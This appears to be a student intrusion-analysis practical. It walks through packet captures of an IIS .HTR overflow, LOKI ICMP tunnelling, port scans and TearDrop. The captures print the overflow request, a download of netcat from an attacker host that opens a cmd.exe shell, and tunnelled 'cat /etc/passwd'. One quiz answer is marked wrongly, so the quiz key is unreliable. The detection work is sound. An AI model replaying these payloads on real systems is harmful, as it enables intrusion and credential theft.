11:12:36.634967 goodweb.com.1151 > evilnet.com.80: . ack 1 win 8760 (DF) [tos 0x10]
11:12:36.635719 goodweb.com.1151 > evilnet.com.80: P 1:73(72) ack 1 win 8760 (DF) [tos 0x10]
11:12:36.636051 evilnet.com.80 > goodweb.com.1151: . ack 73 win 16060 (DF)
11:12:36.746957 evilnet.com.80 > goodweb.com.1151: P 1:1461(1460) ack 73 win 16060 (DF)
11:12:36.747997 evilnet.com.80 > goodweb.com.1151: P 1461:2921(1460) ack 73 win 16060 (DF)
11:12:36.748181 goodweb.com.1151 > evilnet.com.80: . ack 2921 win 8760 (DF) [tos 0x10]
11:12:36.751156 evilnet.com.80 > goodweb.com.1151: P 2921:4381(1460) ack 73 win 16060 (DF)
11:12:36.752016 evilnet.com.80 > goodweb.com.1151: P 4381:5841(1460) ack 73 win 16060 (DF)
11:12:36.753202 evilnet.com.80 > goodweb.com.1151: P 5841:7301(1460) ack 73 win 16060 (DF)
11:12:36.753393 goodweb.com.1151 > evilnet.com.80: . ack 5841 win 8760 (DF) [tos 0x10]
11:12:36.756123 evilnet.com.80 > goodweb.com.1151: P 7301:8761(1460) ack 73 win 16060 (DF)
11:12:36.756917 evilnet.com.80 > goodweb.com.1151: P 8761:10221(1460) ack 73 win 16060 (DF)
11:12:36.757312 goodweb.com.1151 > evilnet.com.80: . ack 8761 win 8760 (DF) [tos 0x10]
11:12:36.758545 evilnet.com.80 > goodweb.com.1151: P 10221:11681(1460) ack 73 win 16060 (DF)
11:12:36.759459 evilnet.com.80 > goodweb.com.1151: P 11681:13141(1460) ack 73 win 16060 (DF)
11:12:36.761044 evilnet.com.80 > goodweb.com.1151: P 13141:14601(1460) ack 73 win 16060 (DF)
11:12:36.762025 evilnet.com.80 > goodweb.com.1151: P 14601:16061(1460) ack 73 win 16060 (DF)
11:12:36.762205 goodweb.com.1151 > evilnet.com.80: . ack 11681 win 7300 (DF) [tos 0x10]
11:12:36.762293 goodweb.com.1151 > evilnet.com.80: . ack 16061 win 2920 (DF) [tos 0x10]
11:12:36.764929 evilnet.com.80 > goodweb.com.1151: P 16061:17521(1460) ack 73 win 16060 (DF)
11:12:36.765723 evilnet.com.80 > goodweb.com.1151: P 17521:18981(1460) ack 73 win 16060 (DF)
11:12:36.766034 goodweb.com.1151 > evilnet.com.80: . ack 18981 win 0 (DF) [tos 0x10]
11:12:36.778010 goodweb.com.1151 > evilnet.com.80: . ack 18981 win 3668 (DF) [tos 0x10]
11:12:36.778953 goodweb.com.1151 > evilnet.com.80: . ack 18981 win 8760 (DF) [tos 0x10]
11:12:36.781073 evilnet.com.80 > goodweb.com.1151: P 18981:20441(1460) ack 73 win 16060 (DF)
11:12:36.782032 evilnet.com.80 > goodweb.com.1151: P 20441:21901(1460) ack 73 win 16060 (DF)
11:12:36.783016 evilnet.com.80 > goodweb.com.1151: P 21901:23361(1460) ack 73 win 16060 (DF)
11:12:36.784826 evilnet.com.80 > goodweb.com.1151: P 23361:24821(1460) ack 73 win 16060 (DF)
11:12:36.785424 evilnet.com.80 > goodweb.com.1151: P 24821:26281(1460) ack 73 win 16060 (DF)
11:12:36.787433 evilnet.com.80 > goodweb.com.1151: P 26281:27741(1460) ack 73 win 16060 (DF)
```

1. **Source of trace:**
   My network

2. **Detect was generated by:**
   TCPDump – correlated with SNORT

   ```
   11:12:31.887102[time]goodweb.com.80[src IP & port] > evilnet.com.1024:[Dest IP & port]
   S 67048:67048(0)[sequence # - amount of data]ack 2100709626[acknowledgement #]
   win 8760[window size]<mss 1460>[maximum segment size](DF)[don't fragment bit set]
   ```

3. **Probability source address is spoofed.**
   The probability is very low as there is a TCP 3 way handshake setting up the subsequent exchange of data. The later transfer of data where evilnet.com is transferring out of port 80 to goodweb.com further substantiates this.

4. **Description of attack.**
   The observed traffic is evilnet.com connects to the goodweb.com (our web server) on port 80. The evilnet.com then finishes the connection and goodweb.com then reconnects to evilnet.com's HTTP port. After the connection is established, evilnet.com begins sending a quantity of data to goodweb.com.

5. **Attack Mechanism.**
   Due further interpret this attack, SNORT logs must be used and is shown under the correlation section. The attack mechanism is a common IIS hack. The badguy connects to our webserver and executes a buffer overflow. The resulting buffer overflow then causes the webserver to contact the badguy's address and download a program. In this case, a version of netcat. Netcat is then installed on the webserver actively listening on port 99.
   This vulnerability exists in ISM.DLL while handling .HTR extensions. Once netcat is running, the badguy can telnet into the webserver with the same user privileges that the webserver is running as.

6. **Correlation:**

Mr. Northcutt described this attack during the four day DC conference.

This is the correlating SNORT log:

```
-*> Snort! <*-
Version 1.6-WIN32
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
WIN32 Port By Michael Davis (Mike@eEye.com, www.datasurge.net/~mike)
07/31-11:12:31.890133 evilnet.com:1024 -> goodweb.com:80
TCP TTL:64 TOS:0x0 ID:42  DF
**S***** Seq: 0x7D3648F9   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 115773 0 NOP WS: 0

07/31-11:12:31.890510 goodweb.com:80 -> evilnet.com:1024
TCP TTL:128 TOS:0x0 ID:49940  DF
**S***A* Seq: 0x105E8   Ack: 0x7D3648FA   Win: 0x2238
TCP Options => MSS: 1460
B4 B4                                          ..

07/31-11:12:31.890846 evilnet.com:1024 -> goodweb.com:80
TCP TTL:64 TOS:0x0 ID:43  DF
******A* Seq: 0x7D3648FA   Ack: 0x105E9   Win: 0x3EBC
02 04 05 B4 04 02                              ......

07/31-11:12:31.894052 evilnet.com:1024 -> goodweb.com:80
TCP TTL:64 TOS:0x0 ID:44  DF
*****PA* Seq: 0x7D3648FA   Ack: 0x105E9   Win: 0x3EBC
47 45 54 20 2F 41 41 41 41 41 41 41 41 41 41 41  GET /AAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
```

```
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 B0 87 67 68 B0 87 67 68 90 90 90 90 58 58  AA..gh..gh....XX
21 21 21 21 2E 68 74 72 20 48 54 54 50 2F 31 2E  !!!!.htr HTTP/1.

07/31-11:12:36.639130 goodweb.com:1151 -> evilnet.com:80
TCP TTL:128 TOS:0x10 ID:51732  DF
*****PA* Seq: 0x105F8   Ack: 0x7D81ACD8   Win: 0x2238
47 45 54 20 2F 6E 63 78 39 39 2E 65 78 65 0D 0A  GET /ncx99.exe..
0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6F  ...............o
77 6E 20 2D 6C 20 2D 70 20 39 39 20 2D 74 20 2D  wn -l -p 99 -t -
65 20 63 6D 64 2E 65 78 65 00 13 00 58 00 02 00  e cmd.exe...X...
00 01 08 00 88 38 13 00 A8 3B 13 00 00 00 26 00  .....8...;....&.
0C 00 00 00 DC 21 28 00 00 00 00 00 00 00 00 00  .....!(.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

7. **Evidence of active targeting.**
This attack was targeted at a specific host as the target must be an NT box with IIS.

8. **Severity**

   a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
   b. (5+4) – (2+2) = 5

9. **Defensive Countermeasures**
   - Disable the script mapping for .HTR files as a workaround
   - Install (at least) service pack 6 for Win NT

10. **Multiple choice question:**

    The IIS hack takes advantage of:

    a. Open FTP port
    b. DNS vulnerability
    c. Buffer overflow exploit in .htr
    d. Zone transfer ability of IIS

    C is the answer

Assignment #1 - Detect # 3 : (back to top)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
07/31-14:57:04.135157 256.10.10.2 -> 209.18.256.10
ICMP TTL:64 TOS:0x0 ID:1316
ID:42241   Seq:496  ECHO REPLY
B1 3F 0A 00 00 00 00 00 00 00 00 00 00 00 00 00  .?..............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........
```

```
07/31-14:57:04.787614 209.18.256.10 -> 256.10.10.2
ICMP TTL:64 TOS:0x0 ID:6834
ID:42241   Seq:496  ECHO
F1 3F 0A 00 00 00 00 00 00 00 00 00 00 00 00 00  .?..............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........

07/31-14:57:04.788024 256.10.10.2 -> 209.18.256.10
ICMP TTL:255 TOS:0x0 ID:1317
ID:42241   Seq:496  ECHO REPLY
F1 3F 0A 00 00 00 00 00 00 00 00 00 00 00 00 00  .?..............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........

07/31-14:57:04.834108 209.18.256.10:23 -> 256.10.10.2:1827
TCP TTL:64 TOS:0x0 ID:6835  DF
*****PA* Seq: 0x55E274B8   Ack: 0x39A60C53   Win: 0x7D78
TCP Options => NOP NOP TS: 43812595 1676623
53 45 4E 44 49 4E 47 0D 0A                       SENDING..

07/31-14:57:04.834442 256.10.10.2:1827 -> 209.18.256.10:23
TCP TTL:255 TOS:0x0 ID:1318
****R*** Seq: 0x39A60C53   Ack: 0x0   Win: 0x0
00 00 00 00 00 00                                ......

07/31-14:57:07.949064 256.10.10.2 -> 209.18.256.10
ICMP TTL:64 TOS:0x0 ID:1319
ID:42241   Seq:496  ECHO REPLY
B1 6C 73 0A 00 00 00 00 00 00 00 00 00 00 00 00  .ls.............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........

07/31-14:57:21.359275 256.10.10.2 -> 209.18.256.10
ICMP TTL:64 TOS:0x0 ID:1320
ID:42241   Seq:496  ECHO REPLY
B1 63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64  .cat /etc/passwd
0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00                          ........
```

1. Source of trace

My network

2. **Detect was generated by:**

Snort ICMP alert

```
07/31-14:57:04.834108[DATE & TIME] 209.18.256.10:23 [SRC IP & Port] ->
256.10.10.2:1827[Dst IP & Port]TCP[protocol]TTL:64[time to live]
 TOS:0x0[Type of Service]ID:6835[ID#]DF[Don't Fragment bit set]
*****PA*[push & ack bits set]Seq: 0x55E274B8[sequence #]
Ack: 0x39A60C53[acknowledgement #]Win: 0x7D78[window size]
TCP Options => NOP NOP TS: 43812595 1676623
```

3. **Probability source address is spoofed.**

Low. Observation of the network traffic reveals a continual exchange of data (running commands) between 209.18.256.10 and 256.10.10.2. The intruder needs this data so spoofing the address would not be beneficial.

4. Description of attack.

Observation of the Snort log revealed data (commands) being run during an apparent ping. This traffic is a textbook case of LOKI.

5. Attack Mechanism.

The LOKI program utilizes the data area of an ICMP packet as a means to tunnel malicious data through. Until recently, most ICMP traffic was not monitored which is the reasoning behind the LOKI programmers.

6. Correlation:

A sampling of the TCPDump data capture during this time frame reveals the apparently harmless PING traffic:

```
08:14:45.853525 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:45.853945 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
08:14:45.963766 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:45.964150 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
08:14:46.853537 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:46.853953 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
08:14:46.963765 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:46.964171 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
08:14:47.853584 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:47.854000 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
08:14:47.963787 eth0 P 209.18.256.10 > 256.10.10.2: icmp: echo request
08:14:47.964195 eth0 P 256.10.10.2 > 209.18.256.10: icmp: echo reply
```

Only by utilizing an IDS could this accurately be detected.

7. Evidence of active targeting.

This attack is targeted at a specific host, as any Trojan back door program must be.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (4+ 5) – (3+1) = **5**

9. Defensive Countermeasures

Create a firewall rule to block all incoming ICMP ECHOs

10. Multiple choice question:

LOKI takes advantage of:

A. Extra IP data fragments
B. The ICMP data area
C. Crafted TCP Sequence numbers
D. Spoofed IP address

Answer B

Assignment #1 - Detect # 4 : (back to top)

```
13:40:28.985437 scanner.net.38989 > windoze.com.2600: S 3805116573:3805116573(0) win 1024
13:40:28.985523 scanner.net.38989 > windoze.com.228: S 3805116573:3805116573(0) win 1024
13:40:28.985614 windoze.com.233 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.985756 windoze.com.2600 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.985849 scanner.net.38989 > windoze.com.140: S 3805116573:3805116573(0) win 1024
13:40:28.985936 windoze.com.228 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.986073 scanner.net.38989 > windoze.com.263: S 3805116573:3805116573(0) win 1024
13:40:28.986162 windoze.com.140 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.986339 windoze.com.263 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.986435 scanner.net.38989 > windoze.com.6002: S 3805116573:3805116573(0) win 1024
13:40:28.986746 windoze.com.6002 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.986837 scanner.net.38989 > windoze.com.3421: S 3805116573:3805116573(0) win 1024
13:40:28.986932 scanner.net.38989 > windoze.com.353: S 3805116573:3805116573(0) win 1024
13:40:28.987022 scanner.net.38989 > windoze.com.902: S 3805116573:3805116573(0) win 1024
13:40:28.987113 windoze.com.3421 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.987291 scanner.net.38989 > windoze.com.724: S 3805116573:3805116573(0) win 1024
13:40:28.987506 scanner.net.38989 > windoze.com.65: S 3805116573:3805116573(0) win 1024
13:40:28.987597 scanner.net.38989 > windoze.com.274: S 3805116573:3805116573(0) win 1024
13:40:28.987686 scanner.net.38989 > windoze.com.286: S 3805116573:3805116573(0) win 1024
13:40:28.987774 windoze.com.353 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.987863 windoze.com.902 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.987946 windoze.com.724 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.988032 windoze.com.65 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.988117 windoze.com.274 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.988205 scanner.net.38989 > windoze.com.2001: S 3805116573:3805116573(0) win 1024
13:40:28.988293 windoze.com.286 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.988383 windoze.com.2001 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.988704 scanner.net.38989 > windoze.com.1540: S 3805116573:3805116573(0) win 1024
13:40:28.988937 windoze.com.1540 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.990191 scanner.net.38989 > windoze.com.766: S 3805116573:3805116573(0) win 1024
13:40:28.990286 scanner.net.38989 > windoze.com.675: S 3805116573:3805116573(0) win 1024
13:40:28.990385 scanner.net.38989 > windoze.com.1026: S 3805116573:3805116573(0) win 1024
13:40:28.990516 windoze.com.766 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.990717 scanner.net.38989 > windoze.com.104: S 3805116573:3805116573(0) win 1024
13:40:28.990806 scanner.net.38989 > windoze.com.789: S 3805116573:3805116573(0) win 1024
13:40:28.990890 windoze.com.675 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.990979 scanner.net.38989 > windoze.com.858: S 3805116573:3805116573(0) win 1024
13:40:28.991063 windoze.com.1026 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.991151 windoze.com.104 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.991236 scanner.net.38989 > windoze.com.467: S 3805116573:3805116573(0) win 1024
13:40:28.991321 windoze.com.789 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.991406 windoze.com.858 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.991496 windoze.com.467 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.993362 scanner.net.38989 > windoze.com.376: S 3805116573:3805116573(0) win 1024
13:40:28.993457 scanner.net.38989 > windoze.com.145: S 3805116573:3805116573(0) win 1024
13:40:28.993546 scanner.net.38989 > windoze.com.966: S 3805116573:3805116573(0) win 1024
13:40:28.993637 windoze.com.376 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.993733 windoze.com.145 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.993877 scanner.net.38989 > windoze.com.1399: S 3805116573:3805116573(0) win 1024
13:40:28.993969 scanner.net.38989 > windoze.com.330: S 3805116573:3805116573(0) win 1024
13:40:28.994059 windoze.com.966 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.994150 scanner.net.38989 > windoze.com.63: S 3805116573:3805116573(0) win 1024
13:40:28.994235 windoze.com.1399 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
13:40:28.994321 windoze.com.330 > scanner.net.38989: R 0:0(0) ack 3805116574 win 0
```

1. Source of trace

My network

2. **Detect was generated by:**
   TCPDump

```
13:40:28.994150[time]scanner.net.38989[src ID & port] > windoze.com.63[dst IP & port]: S [Syn flag set] 3805116573:3805116573(0)[sequence # and amount of data]
 win 1024[windows size]
```

3. **Probability source address is spoofed.**
   Probability is low. This appears to be a SYN scan of one particular host. The attacker needs this data sent back so they may analyze the returned packets.

4. **Description of attack.**
   Usually the one of the first steps in a reconnaissance, this is a port scan against windoze.com in an effort to see what services are being offered.

5. **Attack Mechanism.**
   The attacker is probably utilizing a tool such an NMAP to perform a SYN scan upon one host to see what services are being offered. Notice that scanner.net's Source port and sequence number remains constant throughout the scan indicating these are crafted packets. When the windoze.com host receives a syn request on an inactive port, it returns a reset/ack. If a port is active, a syn/ack is returned. Not only can the attacker see what services are being offered, but an operating system can be correctly guessed based upon these services.

6. **Correlation:**
   A syn scan is a commonly utilized technique as was discussed with Vicki Irwin on day 2 at the SANS DC 2000 conference

7. **Evidence of active targeting.**
   The attacker is targeting a specific host, checking to see what services are running.
8. **Severity**

   a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
   b. (2 + 2) – (3 + 3) = -2

9. **Defensive Countermeasures**
   Have an IDS that checks for multiple TCP packets from a single host where the sequence numbers and/or source port numbers are the same on each packet

10. **Multiple choice question:**
    A TCP syn scan against a closed port will result in:
    1. A fin/ack
    2. An ack
    3. A syn/fin
    4. A rst/ack

4 is the answer

Assignment #1 - Detect # 5 : (back to top)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
07/25-09:31:43.159799 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13384  DF
**S***** Seq: 0x58973EE   Ack: 0x0   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 16533696 0 NOP WS: 0

07/25-09:31:43.160107 linuxbox.org:111 -> scanman.com:953
TCP TTL:64 TOS:0x0 ID:2358  DF
**S***A* Seq: 0xA2DFD861   Ack: 0x58973EF   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 140580314 16533696 NOP WS: 0

07/25-09:31:43.160706 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13385  DF
******A* Seq: 0x58973EF   Ack: 0xA2DFD862   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314

07/25-09:31:43.161670 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13386  DF
*****PA* Seq: 0x58973EF   Ack: 0xA2DFD862   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314
80 00 00 28 38 86 8E D9 00 00 00 00 00 00 00 02  ...(8...........
00 01 86 A0 00 00 00 02 00 00 00 04 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............

07/25-09:31:43.161875 linuxbox.org:111 -> scanman.com:953
TCP TTL:64 TOS:0x0 ID:2359  DF
******A* Seq: 0xA2DFD862   Ack: 0x589741B   Win: 0x7D78
TCP Options => NOP NOP TS: 140580314 16533696

07/25-09:31:43.164129 linuxbox.org:111 -> scanman.com:953
TCP TTL:64 TOS:0x0 ID:2360  DF
*****PA* Seq: 0xA2DFD862   Ack: 0x589741B   Win: 0x7D78
TCP Options => NOP NOP TS: 140580314 16533696
80 00 00 BC 38 86 8E D9 00 00 00 01 00 00 00 00  ....8...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01  ................
00 01 86 A0 00 00 00 02 00 00 00 06 00 00 00 6F  ...............o
00 00 00 01 00 01 86 A0 00 00 00 02 00 00 00 11  ................
00 00 00 6F 00 00 00 01 00 01 86 B5 00 00 00 01  ...o............
00 00 00 11 00 00 04 00 00 00 00 01 00 01 86 B5  ................
00 00 00 03 00 00 00 11 00 00 04 00 00 00 00 01  ................
00 01 86 B5 00 00 00 01 00 00 00 06 00 00 04 00  ................
```

```
00 00 00 01 00 01 86 B5 00 00 00 03 00 00 00 06  ................
00 00 04 00 00 00 00 01 00 01 86 B8 00 00 00 01  ................
00 00 00 11 00 00 03 C1 00 00 00 01 00 01 86 B8  ................
00 00 00 01 00 00 00 06 00 00 03 C3 00 00 00 00  ................

07/25-09:31:43.164925 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13387  DF
******A* Seq: 0x589741B   Ack: 0xA2DFD922   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314

07/25-09:31:43.182220 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13388  DF
***F**A* Seq: 0x589741B   Ack: 0xA2DFD922   Win: 0x7D78
TCP Options => NOP NOP TS: 16533698 140580314

07/25-09:31:43.182411 linuxbox.org:111 -> scanman.com:953
TCP TTL:64 TOS:0x0 ID:2361  DF
******A* Seq: 0xA2DFD922   Ack: 0x589741C   Win: 0x7D78
TCP Options => NOP NOP TS: 140580316 16533698

07/25-09:31:43.182809 linuxbox.org:111 -> scanman.com:953
TCP TTL:64 TOS:0x0 ID:2362  DF
***F**A* Seq: 0xA2DFD922   Ack: 0x589741C   Win: 0x7D78
TCP Options => NOP NOP TS: 140580316 16533698

07/25-09:31:43.183278 scanman.com:953 -> linuxbox.org:111
TCP TTL:64 TOS:0x0 ID:13389  DF
******A* Seq: 0x589741C   Ack: 0xA2DFD923   Win: 0x7D78
TCP Options => NOP NOP TS: 16533698 140580316
```

1. **Source of trace**

   My network

2. **Detect was generated by:**
   SNORT IDS Alert of port 111

```
07/25-09:31:43.183278[date & time]scanman.com:953 ->[src host & port]linuxbox.org:111[dst host & port]TCP[protocol]TTL:64[time to
live]TOS:0x0[type of service]ID:13389[ID #]DF[don't fragment bit set]******A*[ack bit set]Seq: 0x589741C[sequence #]
Ack: 0xA2DFD923[acknowledgement #]Win: 0x7D78[window size]
TCP Options => NOP NOP TS: 16533698 140580316
```

3. **Probability source address is spoofed.**
   Probability is very low, as the attacker needs to gather the information gleaned from the portmapper scan.

4. **Description of attack.**
   The network traffic shows scanman.com connecting to linuxbox.org on port 111, the portmapper. A TCP connection is established and data is transferred from linuxbox.org to scanman.com, revealing what version of portmapper is running.

5. **Attack Mechanism.**
   The attack mechanism is a port scan of port 111 against the victim machine in an effort to identify what version of portmapper is running. This is the first step in identifying a particular weakness of the machine in preparation of a more directed attack.

6. **Correlation:**
   Mr. Northcutt discussed the weaknesses of the SUNRPC during the SANS DC 2000 conference.

7. **Evidence of active targeting.**
   This attack is specifically directed against a specific host in the hopes of discovering portmapper weaknesses.
8. **Severity**
   a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
   b. (2 + 3) – (2 + 2) = 1

9. **Defensive Countermeasures**
   Block all incoming TCP SYN connections at the firewall
   Utilize SNORT IDS rules to detect this activity

10. **Multiple choice question:**
    The portmapper service is usually associated with which port?
    A. 21
    B. 53
    C. 111
    D. 443

D is correct

Assignment #2 – Attack Evaluation: (back to top)

TearDrop attack:

The actual program for TearDrop was obtained from:

The command ran to initiate the attack: #

The description of the attack:
The Teardrop attack exploits weaknesses in the reassembly of IP packet fragments. During its travel over a network (Internet), an IP packet may be broken up into smaller chunks. Each fragment looks like the original IP packet except that it contains an offset field that says, for instance, this fragment is carrying bytes 400 through 600 of the original nonfragmented IP packet. The Teardrop program creates a series of IP fragments with overlapping offset fields. When these fragments are reassembled at the destination host, some systems will crash, hang, or reboot.
Operating systems that are potentially vulnerable to the TearDrop attack are Window NT 4.0, Windows 95 and Linux. All of these Operating Systems can be patched to overcome this vulnerability.

A quote taken from ***http://support.microsoft.com/support/kb/articles/q179/1/29.asp*** (Microsoft web site) explains the TearDrop attack as it pertains to Windows NT.

> "The modified teardrop attack works by sending pairs of deliberately constructed IP fragments which are reassembled into an invalid UDP datagram. Overlapping offsets cause the second packet to overwrite data in the middle of the UDP header contained in the first packet in such a way that the datagrams are left incomplete.
>
> As Windows NT receives these invalid datagrams, it allocates kernel memory. If enough of these invalid datagrams are received Windows NT may hang with a STOP 0x0000000A or 0x00000019.

Vicki Irwin, on day 2 of the SANS DC 2000 conference, described the TearDrop attack as follows:

> "This attack exploits a weakness in the fragment reassembly code of some operating systems. Specifically, teardrop sends two fragments that do not overlap properly, causing some machines to crash when they try to reassemble them.
